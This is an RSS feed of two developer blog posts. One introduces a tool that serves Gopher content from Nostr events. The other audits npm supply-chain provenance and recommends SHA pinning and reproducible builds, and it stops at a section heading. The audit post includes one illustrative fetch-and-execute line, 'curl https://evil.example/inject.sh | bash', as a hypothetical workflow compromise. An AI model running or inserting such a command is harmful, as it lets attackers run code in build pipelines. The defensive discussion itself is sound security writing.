<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: The Crypto Donkey</title>
    <description>The latest articles on DEV Community by The Crypto Donkey (@thecryptodonkey).</description>
    <link>https://dev.to/thecryptodonkey</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3842207%2F6826917e-7459-4b84-a8de-1ac35ab47802.png</url>
      <title>DEV Community: The Crypto Donkey</title>
      <link>https://dev.to/thecryptodonkey</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/thecryptodonkey"/>
    <language>en</language>
    <item>
      <title>I put Gopher on Nostr. Now every npub is a gopherhole</title>
      <dc:creator>The Crypto Donkey</dc:creator>
      <pubDate>Mon, 10 Aug 2026 22:46:15 +0000</pubDate>
      <link>https://dev.to/thecryptodonkey/i-put-gopher-on-nostr-now-every-npub-is-a-gopherhole-ahh</link>
      <guid>https://dev.to/thecryptodonkey/i-put-gopher-on-nostr-now-every-npub-is-a-gopherhole-ahh</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;I've built &lt;a href="https://github.com/forgesworn/gopherkind" rel="noopener noreferrer"&gt;GopherKind&lt;/a&gt;, a publisher and reader for gopherholes stored as signed Nostr events.&lt;/p&gt;

&lt;p&gt;Every Nostr public key already works as a hole.  GopherKind turns the account's profile, notes, replies, long-form articles, and the follows and followers visible through its relays into ordinary Gopher menus and text.  An author can then publish proper path-addressed pages as kind &lt;code&gt;31436&lt;/code&gt; events, and those pages take over the same hole.&lt;/p&gt;

&lt;p&gt;The same content is readable through Gopher, Gemini, the web and a terminal.  Reading needs no account.  The CLI publisher uses a NIP-46 remote signer, and GopherKind refuses raw secret keys completely.&lt;/p&gt;

&lt;p&gt;Try the idea before reading the explanation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind why
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is also a &lt;a href="https://gopherkind.com/" rel="noopener noreferrer"&gt;live bridge&lt;/a&gt; if installing something to find out what it does feels a bit backwards.&lt;/p&gt;

&lt;h2&gt;
  
  
  I don't think an old protocol is interesting just because it is old
&lt;/h2&gt;

&lt;p&gt;Some old protocols deserve their quiet retirement.  Gopher isn't one of them.&lt;/p&gt;

&lt;p&gt;Gopher got one thing very right in 1991: it separates information from interface.  A hole is menus and text.  The client decides how those things look, navigation works the same everywhere, and there is very little available for a publisher to use against the reader.&lt;/p&gt;

&lt;p&gt;No cookie banner.  No consent platform.  No autoplay.  No infinite scroll trying to trick me into donating another hour of my life.&lt;/p&gt;

&lt;p&gt;Cameron Kaiser's essay on why Gopher is still relevant makes the argument properly.  GopherKind can read it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;gopher://gopher.floodgap.com/0/gopher/relevance.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A site has to stand on what it says because there isn't much glitz available to hide behind.&lt;/p&gt;

&lt;p&gt;I like that.  I don't especially like the structural weakness that comes with it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Holes die
&lt;/h2&gt;

&lt;p&gt;In &lt;a href="https://www.rfc-editor.org/rfc/rfc1436" rel="noopener noreferrer"&gt;RFC 1436&lt;/a&gt;, a gopherhole is a host.  The writing depends on the hobby box under someone's desk, its power supply, a domain registration and the person who still remembers how it was configured.&lt;/p&gt;

&lt;p&gt;When that box disappears, the hole disappears with it.  Copying the files elsewhere can preserve the bytes, but Gopher has no idea who wrote them.  There is no authorship in the protocol and nothing in the document that survives the hostname.&lt;/p&gt;

&lt;p&gt;Nostr has almost exactly the missing pieces.  Identity is a public key, events are signed, and an author can put copies on more than one relay.  The signature stays with the document regardless of which relay or bridge served it.&lt;/p&gt;

&lt;p&gt;That was too exact a fit to ignore.&lt;/p&gt;

&lt;h2&gt;
  
  
  A gopher document as a Nostr event
&lt;/h2&gt;

&lt;p&gt;GopherKind defines one addressable event kind, &lt;code&gt;31436&lt;/code&gt;, numbered after RFC 1436.  One event is one text document at one path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31436&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tags"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"d"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/phlog/hello.txt"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hello from my hole"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hello gopherspace.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;d&lt;/code&gt; tag is the exact path.  Type &lt;code&gt;0&lt;/code&gt; is plain text.  Type &lt;code&gt;1&lt;/code&gt; is a menu written as a &lt;code&gt;kindmap&lt;/code&gt;, which is a normal gophermap with the host and port columns removed because the document no longer belongs to a host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome to my hole

0About me   /about.txt
1Phlog  /phlog
1A friend's hole    npub1friend...
hMy website https://example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kind &lt;code&gt;31436&lt;/code&gt; is addressable, so publishing a newer event with the same public key and path replaces that page.  The link doesn't change and the rest of the hole doesn't need to be rebuilt.&lt;/p&gt;

&lt;p&gt;The complete format is deliberately small.  Paths, replacement selection, expiry, deletion, menu parsing and test vectors are in the &lt;a href="https://github.com/forgesworn/gopherkind/blob/main/SPEC.md" rel="noopener noreferrer"&gt;proposed specification&lt;/a&gt;.  The proposal is also open as &lt;a href="https://github.com/nostr-protocol/nips/pull/2429" rel="noopener noreferrer"&gt;nostr-protocol/nips PR #2429&lt;/a&gt;.  It is a proposal, not an accepted NIP, and I won't pretend otherwise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Every npub is already a hole
&lt;/h2&gt;

&lt;p&gt;This is the part I find most interesting.&lt;/p&gt;

&lt;p&gt;A Nostr user doesn't need to publish any kind &lt;code&gt;31436&lt;/code&gt; events before GopherKind can read their hole.  When an authored document isn't present, it generates a virtual structure from events the account already has:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/
/profile.txt
/notes
/replies
/mentions
/articles
/follows
/followers
/feed.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notes become a phlog.  NIP-23 long-form articles become text pages.  Available follows and followers become menus, and threads are navigable without reconstructing the conversation from a flat timeline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;npub1...
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;npub1.../notes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An authored kind &lt;code&gt;31436&lt;/code&gt; page wins when it uses the same path, so turning the generated hole into your own space is just publishing.  There is no migration ceremony and no new identity to create.&lt;/p&gt;

&lt;p&gt;Nostr clients are generally built around the scroll.  A note appears, moves down the timeline and is effectively buried.  Gopher has the opposite temperament.  A menu stays where the author put it and nothing on the screen is bidding for attention.&lt;/p&gt;

&lt;p&gt;The two protocols cover each other's awkward bits surprisingly well.&lt;/p&gt;

&lt;h2&gt;
  
  
  You don't have to type the npub
&lt;/h2&gt;

&lt;p&gt;An npub is the durable identity, but it isn't a particularly friendly address to give somebody.  GopherKind accepts NIP-05 names anywhere it accepts a hole target, including a path after the name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf/notes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;darren@600.wtf&lt;/code&gt; currently resolves to &lt;code&gt;npub1mgvlrnf5hm9yf0n5mf9nqmvarhvxkc6remu5ec3vf8r0txqkuk7su0e7q2&lt;/code&gt;, then GopherKind reads the signed events for that public key.  The &lt;a href="https://gopherkind.com/go?npub=darren%40600.wtf" rel="noopener noreferrer"&gt;live bridge does the same thing&lt;/a&gt;, redirecting the friendly name to the canonical npub path before it renders the hole.&lt;/p&gt;

&lt;p&gt;That distinction matters.  NIP-05 is a human-readable way in, controlled by the domain.  It is not the document identity.  If the domain owner changes where that name points tomorrow, the existing documents do not silently acquire a new author.  Their signatures still belong to the original public key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Publishing a hole
&lt;/h2&gt;

&lt;p&gt;A hole on disk is just a directory of text and menu files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-hole/
|-- index.map
|-- about.txt
`-- phlog/
    |-- index.map
    `-- 2026-08-10-hello.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Publishing goes through a NIP-46 signer you already control.  GopherKind never asks for an &lt;code&gt;nsec&lt;/code&gt;, never generates one, and refuses a raw secret key if you try to give it one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--global&lt;/span&gt; gopherkind

gopherkind pair &lt;span class="s1"&gt;'bunker://...'&lt;/span&gt;
gopherkind publish ./my-hole &lt;span class="nt"&gt;--dry-run&lt;/span&gt;
gopherkind publish ./my-hole
gopherkind inspect npub1...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The publisher discovers the author's NIP-65 write relays, publishes to their union with the configured relays, and reads every document back.  Relay acceptance and successful read-back are reported separately because an &lt;code&gt;OK&lt;/code&gt; response is not evidence that a reader can retrieve the event later.&lt;/p&gt;

&lt;p&gt;When the relays can report their current state, editing one page signs one changed document.  If they can't be queried, GopherKind republishes everything because not knowing what is there is not the same as knowing it is current.  &lt;code&gt;gopherkind export&lt;/code&gt; recovers a relay-held hole into editable files, including a manifest that preserves exact paths which filenames can't safely represent.&lt;/p&gt;

&lt;p&gt;That gives me a useful recovery loop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gopherkind inspect npub1...
gopherkind &lt;span class="nb"&gt;export &lt;/span&gt;npub1... ./recovered-hole
gopherkind publish ./recovered-hole
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;inspect&lt;/code&gt; proves what is retrievable now.  It does not prove a relay will keep it next year.  That distinction matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  One set of events, four ways in
&lt;/h2&gt;

&lt;p&gt;GopherKind can read the relay-held events directly from the command line, or a bridge can expose them over three frontends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;signed kind 31436 events on Nostr relays
        |                 |
        |                 `--&amp;gt; terminal
        |
        `--&amp;gt; bridge --&amp;gt; Gopher
                   |--&amp;gt; Gemini
                   `--&amp;gt; HTTP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The public reference bridge is available at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gopherkind.com/" rel="noopener noreferrer"&gt;https://gopherkind.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gopher://gopherkind.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gemini://gopherkind.com/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The bridge doesn't own the hole.  It is one route to signed events held by relays.  Run another compatible bridge and it can serve the same documents, or skip bridges completely and read the relays from the CLI.&lt;/p&gt;

&lt;p&gt;That is the important difference from putting a Gopher frontend in front of another website.  There is no origin website hiding behind it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The honest limits
&lt;/h2&gt;

&lt;p&gt;This would be very easy to oversell, so here are the boundaries.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relays are not archives.&lt;/strong&gt;  Publishing copies to several relays removes one host as the single point of failure.  It doesn't guarantee that any relay will retain an event forever.  Keep an export and check retrievability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deletion is a request.&lt;/strong&gt;  NIP-09 asks relays to remove an event.  A relay can ignore it, and another client may already have a copy.  NIP-40 expiry tells a compliant bridge not to serve an expired event, but it is not a durable tombstone for older revisions a relay still holds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A bridge is still a server.&lt;/strong&gt;  It can go down.  The point is that it isn't the one server carrying the only copy of the writing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gopher is plaintext and unauthenticated.&lt;/strong&gt;  Network Gopher is permanently read-only in GopherKind.  Writing happens through the terminal, HTTP or Gemini with a signer the author controls.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kind &lt;code&gt;31436&lt;/code&gt; is still proposed.&lt;/strong&gt;  The implementation and conformance vectors exist today.  Acceptance into the NIPs repository does not.&lt;/p&gt;

&lt;p&gt;Those aren't small-print caveats.  They are part of deciding whether this is useful for something you care about.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;GopherKind is open source, MIT licensed and still deliberately below &lt;code&gt;1.0.0&lt;/code&gt;.  It needs Node 24 or newer.&lt;/p&gt;

&lt;p&gt;Reading costs no identity and changes nothing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx gopherkind why
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf/notes
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;gopherkind@gopherkind.com
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;gopher://gopher.floodgap.com/1/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;a href="https://github.com/forgesworn/gopherkind" rel="noopener noreferrer"&gt;source, documentation and protocol proposal are on GitHub&lt;/a&gt;.  The &lt;a href="https://gopherkind.com/" rel="noopener noreferrer"&gt;live bridge&lt;/a&gt; is there if you want to poke around first.&lt;/p&gt;

&lt;p&gt;I don't expect Gopher to replace the web.  I do think some writing deserves a calmer interface and an address that isn't load-bearing on one forgotten box.&lt;/p&gt;

&lt;p&gt;GopherKind is still pre-1.0.  The bridge works, the npm package works and the NIP proposal remains a proposal.  That's the honest state of it.&lt;/p&gt;

</description>
      <category>nostr</category>
      <category>gopher</category>
      <category>opensource</category>
      <category>showdev</category>
    </item>
    <item>
      <title>I audited the top 50 npm packages. Almost none ship with supply-chain attestations!</title>
      <dc:creator>The Crypto Donkey</dc:creator>
      <pubDate>Mon, 13 Apr 2026 11:46:22 +0000</pubDate>
      <link>https://dev.to/thecryptodonkey/i-audited-the-top-50-npm-packages-almost-none-ship-with-supply-chain-attestations-3ki8</link>
      <guid>https://dev.to/thecryptodonkey/i-audited-the-top-50-npm-packages-almost-none-ship-with-supply-chain-attestations-3ki8</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;I checked the 50 most-downloaded npm packages last week to see how many ship with supply-chain provenance.&lt;/p&gt;

&lt;p&gt;Six...&lt;/p&gt;

&lt;p&gt;That's 12%, roughly three years after npm launched provenance (public beta April 2023, GA September 2023).&lt;/p&gt;

&lt;p&gt;The other 44 tarballs are signed by the npm registry and nothing else. Nothing actually links them back to a source&lt;br&gt;
commit, a CI run, or even a specific human. Your &lt;code&gt;package-lock.json&lt;/code&gt; guarantees tarball integrity, but not who built the&lt;br&gt;
tarball or from which source.&lt;/p&gt;

&lt;p&gt;The basic fix is two lines. The full fix is harder, and that's the point of this post.&lt;/p&gt;
&lt;h2&gt;
  
  
  The audit
&lt;/h2&gt;

&lt;p&gt;I took the 50 most-downloaded npm packages by weekly downloads (npm public downloads API, week of 6th-12th April 2026).&lt;br&gt;
For each one, I fetched the latest version manifest and then checked the npm attestations endpoint for a&lt;br&gt;
&lt;code&gt;slsa.dev/provenance/v1&lt;/code&gt; predicate. No predicate, no provenance.&lt;/p&gt;

&lt;p&gt;Six packages do however have it: &lt;code&gt;semver&lt;/code&gt;, &lt;code&gt;emoji-regex&lt;/code&gt;, &lt;code&gt;eslint-visitor-keys&lt;/code&gt;, &lt;code&gt;esbuild&lt;/code&gt;, &lt;code&gt;agent-base&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;eslint-scope&lt;/code&gt;. The two ESLint packages share a release pipeline, so the honest count is five independent publishers out&lt;br&gt;
of fifty.&lt;/p&gt;

&lt;p&gt;There's a full table at the bottom. A few things jumped out at me, as I went through it.&lt;/p&gt;
&lt;h3&gt;
  
  
  What's NOT in the top 50!
&lt;/h3&gt;

&lt;p&gt;Look at what isn't there: react, lodash, axios, express, vue, webpack, vite, dotenv, eslint. None of them.&lt;/p&gt;

&lt;p&gt;The top 50 by raw weekly downloads is dominated by the transitive utility layer everyone depends on: chalk, ansi-styles,&lt;br&gt;
semver, debug, ms, picomatch, glob. The packages developers name as their dependencies sit below position 50. The&lt;br&gt;
packages those packages depend on, transitively, sit at the top.&lt;/p&gt;

&lt;p&gt;Which means the supply-chain layer underneath everything you ship has 12% provenance.&lt;/p&gt;
&lt;h3&gt;
  
  
  The single biggest gap: &lt;code&gt;@types/node&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;@types/node&lt;/code&gt; ranks #17 with 290 million weekly downloads and ships with no attestations of any kind. It is published by&lt;br&gt;
the DefinitelyTyped publish bot, and every TypeScript project on the planet pulls it in. Of the 44 packages in the top&lt;br&gt;
50 without provenance, this is the single largest by download volume. Fixing this one package alone would deliver more&lt;br&gt;
attestation coverage to the ecosystem than any other single change.&lt;/p&gt;
&lt;h3&gt;
  
  
  Meta publishes &lt;code&gt;react-is&lt;/code&gt; without provenance
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;react-is&lt;/code&gt; has 245 million weekly downloads. Look at how it gets published.&lt;/p&gt;

&lt;p&gt;It's pushed by &lt;code&gt;react-bot&lt;/code&gt; from npm CLI version 10.8.2. No attestation. No CI identity. No commit binding. No Sigstore&lt;br&gt;
signature. Whatever workflow produced this tarball, the registry has no record tying it to a specific source commit.&lt;/p&gt;

&lt;p&gt;This is Meta. They run some of the most sophisticated CI in the world. React might be the most consequential JavaScript&lt;br&gt;
artefact on the planet. And a utility package in the React ecosystem ships with less provenance than a hobbyist's side&lt;br&gt;
project, because the hobbyist is &lt;code&gt;esbuild&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Microsoft publishes &lt;code&gt;typescript&lt;/code&gt; without provenance
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;typescript&lt;/code&gt; (163M weekly) and &lt;code&gt;tslib&lt;/code&gt; (337M weekly) are both pushed by &lt;code&gt;typescript-bot&lt;/code&gt; with no attestations. Microsoft&lt;br&gt;
is a Sigstore steward. Azure has an entire product wing around supply-chain attestation. And the packages backing every&lt;br&gt;
TypeScript build in the world have no cryptographic link to their source.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;ms@2.1.3&lt;/code&gt; has been load-bearing since 2020
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ms&lt;/code&gt; has 395 million weekly downloads. The current latest, &lt;code&gt;2.1.3&lt;/code&gt;, was published in December 2020. Publisher is&lt;br&gt;
&lt;code&gt;styfle&lt;/code&gt;, a Vercel engineer, pushing from a personal account. No CI, no attestation, no stable release since December&lt;br&gt;
2020.&lt;/p&gt;

&lt;p&gt;Every Node.js application you've ever built has &lt;code&gt;ms&lt;/code&gt; several layers deep. If styfle's npm account happened to be&lt;br&gt;
compromised, an attacker could push &lt;code&gt;ms@2.1.4&lt;/code&gt; with a cryptominer in it, and every fresh &lt;code&gt;npm install&lt;/code&gt; in the world&lt;br&gt;
would pull it within hours. The only thing preventing this is that nobody has done it yet.&lt;/p&gt;
&lt;h3&gt;
  
  
  Sindre Sorhus publishes 13 of the 50
&lt;/h3&gt;

&lt;p&gt;Thirteen of the top 50 are Sindre's: &lt;code&gt;chalk&lt;/code&gt;, &lt;code&gt;strip-ansi&lt;/code&gt;, &lt;code&gt;supports-color&lt;/code&gt;, &lt;code&gt;ansi-regex&lt;/code&gt;, &lt;code&gt;ansi-styles&lt;/code&gt;, &lt;code&gt;has-flag&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;find-up&lt;/code&gt;, &lt;code&gt;locate-path&lt;/code&gt;, &lt;code&gt;path-exists&lt;/code&gt;, &lt;code&gt;string-width&lt;/code&gt;, &lt;code&gt;wrap-ansi&lt;/code&gt;, &lt;code&gt;path-key&lt;/code&gt;, &lt;code&gt;get-stream&lt;/code&gt;. Zero with provenance.&lt;/p&gt;

&lt;p&gt;If one maintainer adopted provenance across his portfolio, the headline stat in this post would shift from 12% to 38%.&lt;/p&gt;
&lt;h3&gt;
  
  
  Only one org does this consistently: ESLint
&lt;/h3&gt;

&lt;p&gt;The six positives break down into five publishers: the npm team (semver), Mathias Bynens (emoji-regex), Evan Wallace (&lt;br&gt;
esbuild), TooTallNate (agent-base via the proxy-agents monorepo), and the ESLint org (eslint-visitor-keys and&lt;br&gt;
eslint-scope, both via release-please). Of those, only ESLint ships provenance across multiple packages. Every other&lt;br&gt;
positive is a one-off — a single maintainer who bolted provenance onto one package. There is no broader org push visible&lt;br&gt;
in the top 50 yet.&lt;/p&gt;
&lt;h2&gt;
  
  
  The two-line fix
&lt;/h2&gt;

&lt;p&gt;If you maintain a package, here's the fix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm publish --provenance --access public&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First block opts your workflow into OIDC. Second tells npm to attach a provenance attestation. Done. Every release from&lt;br&gt;
now on carries a Sigstore-signed claim linking the tarball back to a specific commit and workflow run.&lt;/p&gt;

&lt;p&gt;pnpm and yarn have equivalent &lt;code&gt;--provenance&lt;/code&gt; flags. JSR auto-includes attestations when publishing from CI.&lt;/p&gt;

&lt;p&gt;That's the headline ask. If you stop reading here and ship that change, you've improved the supply-chain posture of&lt;br&gt;
every consumer of your package. Worth doing.&lt;/p&gt;

&lt;p&gt;But provenance alone doesn't save you. Here's why.&lt;/p&gt;
&lt;h2&gt;
  
  
  The tj-actions story
&lt;/h2&gt;

&lt;p&gt;On 14 March 2025 someone compromised the &lt;code&gt;tj-actions/changed-files&lt;/code&gt; GitHub Action (CVE-2025-30066). It's used in over&lt;br&gt;
23,000 repositories to work out which files changed in a PR.&lt;/p&gt;

&lt;p&gt;The attacker repointed multiple existing Git tags (v1.0.0, v35.7.7-sec, v44.5.1, v5, several others) to a single&lt;br&gt;
malicious commit, &lt;code&gt;0e58ed8671d6b60d0890c21b07f8835ace038e67&lt;/code&gt;. That commit dumped CI/CD secrets out of runner memory and&lt;br&gt;
into the action's own log output. For public repos, anyone with a browser could harvest them.&lt;/p&gt;

&lt;p&gt;The fix, then and now, is SHA-pinning. If your workflow uses this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@v44&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You're trusting whatever commit &lt;code&gt;v44&lt;/code&gt; happens to point to right now. The maintainer, or an attacker who controls the&lt;br&gt;
maintainer's GitHub account, can change that commit at any time and you won't notice.&lt;/p&gt;

&lt;p&gt;Pin to a SHA instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@&amp;lt;full-commit-sha&amp;gt;&lt;/span&gt;  &lt;span class="c1"&gt;# plus a comment with the version it corresponds to&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That commit is immutable. The same workflow run a year from now uses the same code.&lt;/p&gt;

&lt;p&gt;So your release workflow needs provenance AND SHA-pinned actions. Two separate protections, neither of which gives you&lt;br&gt;
the other.&lt;/p&gt;

&lt;h2&gt;
  
  
  The reproducibility gap
&lt;/h2&gt;

&lt;p&gt;There's a third gap. Even with provenance and SHA-pinned actions, you're trusting the workflow itself.&lt;/p&gt;

&lt;p&gt;Provenance proves the tarball came out of &lt;code&gt;your-repo/.github/workflows/release.yml&lt;/code&gt; at commit &lt;code&gt;abc123&lt;/code&gt;. It does not&lt;br&gt;
prove that someone independently verifying the source can rebuild the same tarball.&lt;/p&gt;

&lt;p&gt;Why does that matter? If your workflow is compromised, say an attacker pushes a commit that runs an extra&lt;br&gt;
&lt;code&gt;curl https://evil.example/inject.sh | bash&lt;/code&gt; before the publish step, the resulting tarball will have a perfectly valid&lt;br&gt;
provenance attestation. The attestation just says "this came from this workflow at this commit." It doesn't say "this&lt;br&gt;
matches what a clean rebuild from source would produce."&lt;/p&gt;

&lt;p&gt;Reproducible builds close that gap. The workflow records exactly how the tarball was built. A third party (you, a&lt;br&gt;
security researcher, a paranoid downstream consumer) can clone the source at the recorded commit, run the same build,&lt;br&gt;
and check the output matches the published tarball bit-for-bit. If it doesn't match, something injected itself between&lt;br&gt;
the source and the artefact.&lt;/p&gt;

&lt;p&gt;This is harder to set up than provenance. You need deterministic builds, a documented build environment, and&lt;br&gt;
verification tooling. Most npm packages don't bother. Most of them probably could.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pre-publish gate gap
&lt;/h2&gt;

